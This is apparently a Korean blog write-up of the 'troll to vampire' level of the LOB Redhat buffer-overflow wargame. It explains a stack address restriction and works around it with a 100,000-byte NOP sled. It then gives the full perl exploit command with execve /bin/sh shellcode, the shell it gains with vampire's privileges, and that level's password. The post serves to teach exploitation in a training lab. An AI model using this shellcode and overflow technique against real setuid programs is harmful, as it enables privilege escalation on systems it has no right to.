본문 바로가기

wargame/LOB Redhat

troll to vampire

이번 문제는 ret "0xbf" 시작해야하고 뒤에가 "0xff" 되어서는 안되는 문제이다.

 

 

bf 시작해야하는 조건때문에

ret2libc 사용불가

환경변수 사용불가

 

이므로

 

 

스택의 특성상 스택은 메모리가 높은곳에서 낮은곳으로 쌓인다.

 

스택의 메모리 영역은 3기가 바이트 부터 그보다 낮은 메모리 영역이다.

4기가~3기가 영역은 커널이 사용하는 영역으로써 접근할 없다.

 

(gdb) x/10s 0xbffffff0

0xbffffff0:      "l/vampire_1"

0xbffffffc:      ""

0xbffffffd:      ""

0xbffffffe:      ""

0xbfffffff:      ""

0xc0000000:      <Address 0xc0000000 out of bounds>

0xc0000000:      <Address 0xc0000000 out of bounds>

0xc0000000:      <Address 0xc0000000 out of bounds>

0xc0000000:      <Address 0xc0000000 out of bounds>

0xc0000000:      <Address 0xc0000000 out of bounds>

 

이처럼 접근할수 없으며 만약 스택이 공간을 할당받으면, 우리는 argv[2] 주소가 0xbffeffff아래로 내려가는것을 가능하게 있을 것이다.

 

페이로드

    argv[1]                          argv[2]

['x'*44][&argv[2]]           [nop slide * 100000][shellcode]

 

 

 

공격!

 

[troll@localhost troll]$ bash2

[troll@localhost troll]$ ./vampire `perl -e 'print "x"x44,"\xff\xff\xfe\xbf"'` `perl -e 'print "\x90"x100000,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

bash$ id

uid=508(troll) gid=508(troll) euid=509(vampire) egid=509(vampire) groups=508(troll)

bash$ my-pass

euid = 509

music world

'wargame > LOB Redhat' 카테고리의 다른 글

skeleton to golem  (0) 2014.05.27
vampire to skeleton  (0) 2014.05.27
orge to troll  (0) 2014.05.27
darkelf to orge  (0) 2014.05.27
wolfman to darkelf  (0) 2014.05.27